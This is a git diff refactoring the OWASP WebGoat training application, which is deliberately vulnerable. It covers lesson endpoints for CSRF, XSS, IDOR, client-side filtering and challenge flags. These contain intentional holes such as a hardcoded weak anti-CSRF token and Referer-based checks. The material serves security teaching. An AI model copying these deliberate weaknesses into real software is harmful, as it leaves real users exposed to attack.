return trackProgress(failed().build());
|
|
||||||
}
|
|
||||||
if (submit.toString().equals("submit")) {
|
|
||||||
return trackProgress(failed().build());
|
|
||||||
}*/
|
|
||||||
return trackProgress(success().build());
|
return trackProgress(success().build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -36,13 +36,13 @@ public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
|
|||||||
@PostMapping("/BypassRestrictions/frontendValidation")
|
@PostMapping("/BypassRestrictions/frontendValidation")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
|
public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
|
||||||
String regex1 = "^[a-z]{3}$";
|
final String regex1 = "^[a-z]{3}$";
|
||||||
String regex2 = "^[0-9]{3}$";
|
final String regex2 = "^[0-9]{3}$";
|
||||||
String regex3 = "^[a-zA-Z0-9 ]*$";
|
final String regex3 = "^[a-zA-Z0-9 ]*$";
|
||||||
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
|
final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
|
||||||
String regex5 = "^\\d{5}$";
|
final String regex5 = "^\\d{5}$";
|
||||||
String regex6 = "^\\d{5}(-\\d{4})?$";
|
final String regex6 = "^\\d{5}(-\\d{4})?$";
|
||||||
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
|
final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
|
||||||
if (error > 0) {
|
if (error > 0) {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
|
@ -22,7 +22,6 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.challenges;
|
package org.owasp.webgoat.challenges;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@ -40,6 +39,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
|||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import javax.annotation.PostConstruct;
|
import javax.annotation.PostConstruct;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.UUID;
|
import java.util.UUID;
|
||||||
import java.util.stream.IntStream;
|
import java.util.stream.IntStream;
|
||||||
@ -52,7 +52,7 @@ import java.util.stream.IntStream;
|
|||||||
@RestController
|
@RestController
|
||||||
public class Flag {
|
public class Flag {
|
||||||
|
|
||||||
public static final Map<Integer, String> FLAGS = Maps.newHashMap();
|
public static final Map<Integer, String> FLAGS = new HashMap<>();
|
||||||
@Autowired
|
@Autowired
|
||||||
private UserTrackerRepository userTrackerRepository;
|
private UserTrackerRepository userTrackerRepository;
|
||||||
@Autowired
|
@Autowired
|
||||||
@ -71,7 +71,7 @@ public class Flag {
|
|||||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(path="/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
|
@RequestMapping(path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult postFlag(@RequestParam String flag) {
|
public AttackResult postFlag(@RequestParam String flag) {
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
|
@ -31,14 +31,14 @@ import static org.owasp.webgoat.challenges.Flag.FLAGS;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class Assignment7 extends AssignmentEndpoint {
|
public class Assignment7 extends AssignmentEndpoint {
|
||||||
|
|
||||||
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " +
|
private static final String TEMPLATE = "Hi, you requested a password reset link, please use this "
|
||||||
"<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." +
|
+ "<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password."
|
||||||
"\n \n\n" +
|
+ "\n \n\n"
|
||||||
"If you did not request this password change you can ignore this message." +
|
+ "If you did not request this password change you can ignore this message."
|
||||||
"\n" +
|
+ "\n"
|
||||||
"If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" +
|
+ "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org"
|
||||||
"\n\n" +
|
+ "\n\n"
|
||||||
"Kind regards, \nTeam WebGoat";
|
+ "Kind regards, \nTeam WebGoat";
|
||||||
|
|
||||||
@Autowired
|
@Autowired
|
||||||
private RestTemplate restTemplate;
|
private RestTemplate restTemplate;
|
||||||
@ -48,9 +48,9 @@ public class Assignment7 extends AssignmentEndpoint {
|
|||||||
@GetMapping("/challenge/7/reset-password/{link}")
|
@GetMapping("/challenge/7/reset-password/{link}")
|
||||||
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
public ResponseEntity<String> resetPassword(@PathVariable(value = "link") String link) {
|
||||||
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) {
|
||||||
return ResponseEntity.accepted().body("<h1>Success!!</h1>" +
|
return ResponseEntity.accepted().body("<h1>Success!!</h1>"
|
||||||
"<img src='/WebGoat/images/hi-five-cat.jpg'>" +
|
+ "<img src='/WebGoat/images/hi-five-cat.jpg'>"
|
||||||
"<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
+ "<br/><br/>Here is your flag: " + "<b>" + FLAGS.get(7) + "</b>");
|
||||||
}
|
}
|
||||||
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
|
return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin");
|
||||||
}
|
}
|
||||||
@ -76,7 +76,6 @@ public class Assignment7 extends AssignmentEndpoint {
|
|||||||
|
|
||||||
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
@GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
@SneakyThrows
|
|
||||||
public ClassPathResource git() {
|
public ClassPathResource git() {
|
||||||
return new ClassPathResource("challenge7/git.zip");
|
return new ClassPathResource("challenge7/git.zip");
|
||||||
}
|
}
|
||||||
|
@ -20,7 +20,7 @@ public class PasswordResetLink {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static String scramble(Random random, String inputString) {
|
public static String scramble(Random random, String inputString) {
|
||||||
char a[] = inputString.toCharArray();
|
char[] a = inputString.toCharArray();
|
||||||
for (int i = 0; i < a.length; i++) {
|
for (int i = 0; i < a.length; i++) {
|
||||||
int j = random.nextInt(a.length);
|
int j = random.nextInt(a.length);
|
||||||
char temp = a[i];
|
char temp = a[i];
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
package org.owasp.webgoat.challenges.challenge8;
|
package org.owasp.webgoat.challenges.challenge8;
|
||||||
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.challenges.Flag;
|
import org.owasp.webgoat.challenges.Flag;
|
||||||
@ -24,7 +23,7 @@ import java.util.stream.Collectors;
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class Assignment8 extends AssignmentEndpoint {
|
public class Assignment8 extends AssignmentEndpoint {
|
||||||
|
|
||||||
private static final Map<Integer, Integer> votes = Maps.newHashMap();
|
private static final Map<Integer, Integer> votes = new HashMap<>();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
votes.put(1, 400);
|
votes.put(1, 400);
|
||||||
@ -40,9 +39,7 @@ public class Assignment8 extends AssignmentEndpoint {
|
|||||||
//Simple implementation of VERB Based Authentication
|
//Simple implementation of VERB Based Authentication
|
||||||
String msg = "";
|
String msg = "";
|
||||||
if (request.getMethod().equals("GET")) {
|
if (request.getMethod().equals("GET")) {
|
||||||
HashMap<String, Object> json = Maps.newHashMap();
|
var json = Map.of("error", true, "message", "Sorry but you need to login first in order to vote");
|
||||||
json.put("error", true);
|
|
||||||
json.put("message", "Sorry but you need to login first in order to vote");
|
|
||||||
return ResponseEntity.status(200).body(json);
|
return ResponseEntity.status(200).body(json);
|
||||||
}
|
}
|
||||||
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);
|
||||||
@ -59,8 +56,7 @@ public class Assignment8 extends AssignmentEndpoint {
|
|||||||
public ResponseEntity<Map<String, Integer>> average() {
|
public ResponseEntity<Map<String, Integer>> average() {
|
||||||
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
|
int totalNumberOfVotes = votes.values().stream().mapToInt(i -> i.intValue()).sum();
|
||||||
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
|
int categories = votes.entrySet().stream().mapToInt(e -> e.getKey() * e.getValue()).reduce(0, (a, b) -> a + b);
|
||||||
Map json = Maps.newHashMap();
|
var json = Map.of("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
||||||
json.put("average", (int) Math.ceil((double) categories / totalNumberOfVotes));
|
|
||||||
return ResponseEntity.ok(json);
|
return ResponseEntity.ok(json);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -37,8 +37,8 @@ public class ClientSideFilteringAssignment extends AssignmentEndpoint {
|
|||||||
@PostMapping("/clientSideFiltering/attack1")
|
@PostMapping("/clientSideFiltering/attack1")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String answer) {
|
public AttackResult completed(@RequestParam String answer) {
|
||||||
return trackProgress("450000".equals(answer) ?
|
return trackProgress("450000".equals(answer)
|
||||||
success().feedback("assignment.solved").build() :
|
? success().feedback("assignment.solved").build() :
|
||||||
failed().feedback("ClientSideFiltering.incorrect").build());
|
failed().feedback("ClientSideFiltering.incorrect").build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -22,12 +22,6 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.client_side_filtering;
|
package org.owasp.webgoat.client_side_filtering;
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
@ -48,6 +42,8 @@ import java.io.File;
|
|||||||
import java.io.FileInputStream;
|
import java.io.FileInputStream;
|
||||||
import java.io.FileOutputStream;
|
import java.io.FileOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.HashMap;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
@ -57,14 +53,17 @@ public class Salaries { // {extends Endpoint {
|
|||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
@SneakyThrows
|
|
||||||
public void copyFiles() {
|
public void copyFiles() {
|
||||||
ClassPathResource classPathResource = new ClassPathResource("employees.xml");
|
ClassPathResource classPathResource = new ClassPathResource("employees.xml");
|
||||||
File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering");
|
File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering");
|
||||||
if (!targetDirectory.exists()) {
|
if (!targetDirectory.exists()) {
|
||||||
targetDirectory.mkdir();
|
targetDirectory.mkdir();
|
||||||
}
|
}
|
||||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
|
try {
|
||||||
|
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "employees.xml")));
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(produces = {"application/json"})
|
@RequestMapping(produces = {"application/json"})
|
||||||
@ -73,7 +72,7 @@ public class Salaries { // {extends Endpoint {
|
|||||||
NodeList nodes = null;
|
NodeList nodes = null;
|
||||||
File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml");
|
File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml");
|
||||||
XPathFactory factory = XPathFactory.newInstance();
|
XPathFactory factory = XPathFactory.newInstance();
|
||||||
XPath xPath = factory.newXPath();
|
XPath path = factory.newXPath();
|
||||||
InputSource inputSource = new InputSource(new FileInputStream(d));
|
InputSource inputSource = new InputSource(new FileInputStream(d));
|
||||||
|
|
||||||
StringBuffer sb = new StringBuffer();
|
StringBuffer sb = new StringBuffer();
|
||||||
@ -87,16 +86,16 @@ public class Salaries { // {extends Endpoint {
|
|||||||
String expression = sb.toString();
|
String expression = sb.toString();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
|
nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET);
|
||||||
} catch (XPathExpressionException e) {
|
} catch (XPathExpressionException e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
int COLUMNS = 5;
|
int columns = 5;
|
||||||
List json = Lists.newArrayList();
|
List json = new ArrayList();
|
||||||
java.util.Map<String, Object> employeeJson = Maps.newHashMap();
|
java.util.Map<String, Object> employeeJson = new HashMap<>();
|
||||||
for (int i = 0; i < nodes.getLength(); i++) {
|
for (int i = 0; i < nodes.getLength(); i++) {
|
||||||
if (i % COLUMNS == 0) {
|
if (i % columns == 0) {
|
||||||
employeeJson = Maps.newHashMap();
|
employeeJson = new HashMap<>();
|
||||||
json.add(employeeJson);
|
json.add(employeeJson);
|
||||||
}
|
}
|
||||||
Node node = nodes.item(i);
|
Node node = nodes.item(i);
|
||||||
@ -104,11 +103,4 @@ public class Salaries { // {extends Endpoint {
|
|||||||
}
|
}
|
||||||
return json;
|
return json;
|
||||||
}
|
}
|
||||||
|
|
||||||
// @Override
|
|
||||||
// public String getPath() {
|
|
||||||
// return "/clientSideFiltering/salaries";
|
|
||||||
// }
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -22,13 +22,14 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.xss;
|
package org.owasp.webgoat.xss;
|
||||||
|
|
||||||
|
|
||||||
import org.jsoup.Jsoup;
|
import org.jsoup.Jsoup;
|
||||||
import org.jsoup.nodes.Document;
|
import org.jsoup.nodes.Document;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
//@RestController
|
//@RestController
|
||||||
@Deprecated
|
@Deprecated
|
||||||
@ -48,8 +49,8 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
|
|||||||
String[] lines = unescapedString.split("<html>");
|
String[] lines = unescapedString.split("<html>");
|
||||||
|
|
||||||
String include = (lines[0]);
|
String include = (lines[0]);
|
||||||
String first_name_element = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
|
String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)").first().text();
|
||||||
String last_name_element = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
|
String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)").first().text();
|
||||||
|
|
||||||
Boolean includeCorrect = false;
|
Boolean includeCorrect = false;
|
||||||
Boolean firstNameCorrect = false;
|
Boolean firstNameCorrect = false;
|
||||||
@ -58,10 +59,10 @@ public class CrossSiteScriptingLesson3 extends AssignmentEndpoint {
|
|||||||
if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) {
|
if (include.contains("<%@") && include.contains("taglib") && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\"") && include.contains("%>")) {
|
||||||
includeCorrect = true;
|
includeCorrect = true;
|
||||||
}
|
}
|
||||||
if (first_name_element.equals("${e:forHtml(param.first_name)}")) {
|
if (fistNameElement.equals("${e:forHtml(param.first_name)}")) {
|
||||||
firstNameCorrect = true;
|
firstNameCorrect = true;
|
||||||
}
|
}
|
||||||
if (last_name_element.equals("${e:forHtml(param.last_name)}")) {
|
if (lastNameElement.equals("${e:forHtml(param.last_name)}")) {
|
||||||
lastNameCorrect = true;
|
lastNameCorrect = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -25,7 +25,10 @@ package org.owasp.webgoat.xss.stored;
|
|||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AttackResult;
|
import org.owasp.webgoat.assignments.AttackResult;
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestParam;
|
||||||
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Created by jason on 11/23/16.
|
* Created by jason on 11/23/16.
|
||||||
@ -33,7 +36,7 @@ import org.springframework.web.bind.annotation.*;
|
|||||||
@RestController
|
@RestController
|
||||||
public class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint {
|
public class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint {
|
||||||
|
|
||||||
//TODO This assignment seems not to be in use in the UI
|
//TODO This assignment seems not to be in use in the UI
|
||||||
@PostMapping("/CrossSiteScriptingStored/stored-xss-follow-up")
|
@PostMapping("/CrossSiteScriptingStored/stored-xss-follow-up")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String successMessage) {
|
public AttackResult completed(@RequestParam String successMessage) {
|
||||||
|
@ -24,8 +24,6 @@ package org.owasp.webgoat.xss.stored;
|
|||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
import com.beust.jcommander.internal.Lists;
|
||||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
import com.google.common.collect.EvictingQueue;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import org.joda.time.DateTime;
|
import org.joda.time.DateTime;
|
||||||
import org.joda.time.format.DateTimeFormat;
|
import org.joda.time.format.DateTimeFormat;
|
||||||
import org.joda.time.format.DateTimeFormatter;
|
import org.joda.time.format.DateTimeFormatter;
|
||||||
@ -50,8 +48,8 @@ public class StoredXssComments extends AssignmentEndpoint {
|
|||||||
private WebSession webSession;
|
private WebSession webSession;
|
||||||
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||||
|
|
||||||
private static final Map<String, EvictingQueue<Comment>> userComments = Maps.newHashMap();
|
private static final Map<String, List<Comment>> userComments = new HashMap<>();
|
||||||
private static final EvictingQueue<Comment> comments = EvictingQueue.create(100);
|
private static final List<Comment> comments = new ArrayList<>();
|
||||||
private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>";
|
private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>";
|
||||||
|
|
||||||
|
|
||||||
@ -82,7 +80,7 @@ public class StoredXssComments extends AssignmentEndpoint {
|
|||||||
public AttackResult createNewComment(@RequestBody String commentStr) {
|
public AttackResult createNewComment(@RequestBody String commentStr) {
|
||||||
Comment comment = parseJson(commentStr);
|
Comment comment = parseJson(commentStr);
|
||||||
|
|
||||||
EvictingQueue<Comment> comments = userComments.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
List<Comment> comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||||
comment.setDateTime(DateTime.now().toString(fmt));
|
comment.setDateTime(DateTime.now().toString(fmt));
|
||||||
comment.setUser(webSession.getUserName());
|
comment.setUser(webSession.getUserName());
|
||||||
|
|
||||||
|
@ -49,21 +49,17 @@ public class CSRFGetFlag {
|
|||||||
@Autowired
|
@Autowired
|
||||||
private PluginMessages pluginMessages;
|
private PluginMessages pluginMessages;
|
||||||
|
|
||||||
@RequestMapping(path="/csrf/basic-get-flag" ,produces = {"application/json"}, method = RequestMethod.POST)
|
@RequestMapping(path = "/csrf/basic-get-flag", produces = {"application/json"}, method = RequestMethod.POST)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
public Map<String, Object> invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
|
||||||
Map<String, Object> response = new HashMap<>();
|
Map<String, Object> response = new HashMap<>();
|
||||||
|
|
||||||
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host");
|
||||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
|
||||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
|
||||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
|
||||||
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer");
|
||||||
String[] refererArr = referer.split("/");
|
String[] refererArr = referer.split("/");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if (referer.equals("NULL")) {
|
if (referer.equals("NULL")) {
|
||||||
if (req.getParameter("csrf").equals("true")) {
|
if (req.getParameter("csrf").equals("true")) {
|
||||||
Random random = new Random();
|
Random random = new Random();
|
||||||
@ -93,9 +89,4 @@ public class CSRFGetFlag {
|
|||||||
return response;
|
return response;
|
||||||
|
|
||||||
}
|
}
|
||||||
//
|
|
||||||
// @Override
|
|
||||||
// public String getPath() {
|
|
||||||
// return "/csrf/basic-get-flag";
|
|
||||||
// }
|
|
||||||
}
|
}
|
||||||
|
@ -23,8 +23,6 @@
|
|||||||
package org.owasp.webgoat.csrf;
|
package org.owasp.webgoat.csrf;
|
||||||
|
|
||||||
import com.beust.jcommander.internal.Lists;
|
import com.beust.jcommander.internal.Lists;
|
||||||
import com.google.common.collect.EvictingQueue;
|
|
||||||
import com.google.common.collect.Maps;
|
|
||||||
import org.joda.time.DateTime;
|
import org.joda.time.DateTime;
|
||||||
import org.joda.time.format.DateTimeFormat;
|
import org.joda.time.format.DateTimeFormat;
|
||||||
import org.joda.time.format.DateTimeFormatter;
|
import org.joda.time.format.DateTimeFormatter;
|
||||||
@ -37,8 +35,7 @@ import org.springframework.http.MediaType;
|
|||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import java.util.Collection;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
|
|
||||||
@ -50,8 +47,8 @@ public class ForgedReviews extends AssignmentEndpoint {
|
|||||||
private WebSession webSession;
|
private WebSession webSession;
|
||||||
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-MM-dd, HH:mm:ss");
|
||||||
|
|
||||||
private static final Map<String, EvictingQueue<Review>> userReviews = Maps.newHashMap();
|
private static final Map<String, List<Review>> userReviews = new HashMap<>();
|
||||||
private static final EvictingQueue<Review> REVIEWS = EvictingQueue.create(100);
|
private static final List<Review> REVIEWS = new ArrayList<>();
|
||||||
private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9";
|
private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9";
|
||||||
|
|
||||||
|
|
||||||
@ -79,22 +76,16 @@ public class ForgedReviews extends AssignmentEndpoint {
|
|||||||
@PostMapping("/csrf/review")
|
@PostMapping("/csrf/review")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {
|
public AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {
|
||||||
|
final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
|
||||||
|
final String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
|
||||||
|
final String[] refererArr = referer.split("/");
|
||||||
|
|
||||||
String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host");
|
|
||||||
// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin");
|
|
||||||
// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort();
|
|
||||||
// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName();
|
|
||||||
String referer = (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer");
|
|
||||||
String[] refererArr = referer.split("/");
|
|
||||||
|
|
||||||
EvictingQueue<Review> reviews = userReviews.getOrDefault(webSession.getUserName(), EvictingQueue.create(100));
|
|
||||||
Review review = new Review();
|
Review review = new Review();
|
||||||
|
|
||||||
review.setText(reviewText);
|
review.setText(reviewText);
|
||||||
review.setDateTime(DateTime.now().toString(fmt));
|
review.setDateTime(DateTime.now().toString(fmt));
|
||||||
review.setUser(webSession.getUserName());
|
review.setUser(webSession.getUserName());
|
||||||
review.setStars(stars);
|
review.setStars(stars);
|
||||||
|
var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());
|
||||||
reviews.add(review);
|
reviews.add(review);
|
||||||
userReviews.put(webSession.getUserName(), reviews);
|
userReviews.put(webSession.getUserName(), reviews);
|
||||||
//short-circuit
|
//short-circuit
|
||||||
|
@ -32,19 +32,19 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
|
||||||
@RestController
|
@RestController
|
||||||
@AssignmentHints({"idor.hints.idorDiffAttributes1","idor.hints.idorDiffAttributes2","idor.hints.idorDiffAttributes3"})
|
@AssignmentHints({"idor.hints.idorDiffAttributes1", "idor.hints.idorDiffAttributes2", "idor.hints.idorDiffAttributes3"})
|
||||||
public class IDORDiffAttributes extends AssignmentEndpoint {
|
public class IDORDiffAttributes extends AssignmentEndpoint {
|
||||||
|
|
||||||
@PostMapping("IDOR/diff-attributes")
|
@PostMapping("IDOR/diff-attributes")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String attributes, HttpServletRequest request) throws IOException {
|
public AttackResult completed(@RequestParam String attributes) {
|
||||||
attributes = attributes.trim();
|
attributes = attributes.trim();
|
||||||
String[] diffAttribs = attributes.split(",");
|
String[] diffAttribs = attributes.split(",");
|
||||||
if (diffAttribs.length < 2) {
|
if (diffAttribs.length < 2) {
|
||||||
return trackProgress(failed().feedback("idor.diff.attributes.missing").build());
|
return trackProgress(failed().feedback("idor.diff.attributes.missing").build());
|
||||||
}
|
}
|
||||||
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role") ||
|
if (diffAttribs[0].toLowerCase().trim().equals("userid") && diffAttribs[1].toLowerCase().trim().equals("role")
|
||||||
diffAttribs[1].toLowerCase().trim().equals("userid") && diffAttribs[0].toLowerCase().trim().equals("role")) {
|
